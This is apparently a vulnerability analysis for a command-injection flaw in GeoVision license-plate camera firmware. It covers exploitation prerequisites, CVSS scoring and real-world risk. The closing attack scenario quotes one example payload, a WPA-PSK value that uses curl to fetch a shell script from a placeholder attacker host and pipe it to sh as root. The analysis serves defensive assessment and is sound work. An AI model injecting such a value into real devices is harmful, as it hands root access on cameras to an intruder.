GeoVision LPC2211 CVE-2026-88275

Exploitation requires valid administrator credentials on the GeoVision GV-LPC2011 or GV-LPC2211 running firmware V1.13 - PR:H is confirmed by the CVSS vector. The attacker must be able to reach the device's administrative web interface over the network (AV:N). The trigger condition is specifically the act of applying a wireless configuration containing a WPA-PSK with shell metacharacters; the injection does not occur passively. Exploitation is limited by: (1) the need for administrator-level authentication, (2) the device being network-reachable from the attacker's position, and (3) the wireless configuration functionality being accessible and exercised. Environments where camera admin interfaces are firewalled off from untrusted networks and use non-default, strong admin passwords face substantially reduced risk. No special platform, OS, or non-default server-side configuration beyond having a network-accessible admin panel is required.

The provided CVSS 3.1 vector AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H yields a score of 7.2, which appropriately captures the trade-off between high impact (root execution, full C/I/A compromise) and the high privilege prerequisite (administrator credentials required). The network attack vector reflects that the admin web interface of an IP camera is typically accessible over the local network or, in poorly segmented deployments, over the internet. No EPSS score, KEV listing, or public POC was provided in the input data, and no public exploit has been identified at time of analysis. Real-world risk is meaningfully constrained by the PR:H requirement - exploitation requires an attacker who has already obtained administrator credentials, either through credential theft, default credential abuse, or a prior compromise. However, in security camera deployments, default or shared admin passwords are endemic, which elevates practical risk above what the CVSS score alone suggests. The vulnerability is particularly concerning in multi-tenant or installer-accessible environments where the admin credential is shared. No CVSS/description vector conflict is present - the network-accessible admin interface and the need for admin credentials are internally consistent.

An attacker who has obtained administrator credentials - whether through default password abuse, credential theft, or social engineering of an on-site installer - logs into the camera's web administration interface over the local network. In the wireless settings panel, the attacker enters a WPA-PSK value containing embedded shell syntax such as '; curl http://attacker/shell.sh | sh; #'. When the administrator clicks 'Apply' to save the wireless configuration, the firmware passes the unsanitized PSK to a shell command, executing the injected payload as root and establishing persistent access to the camera. No public exploit code has been identified at time of analysis.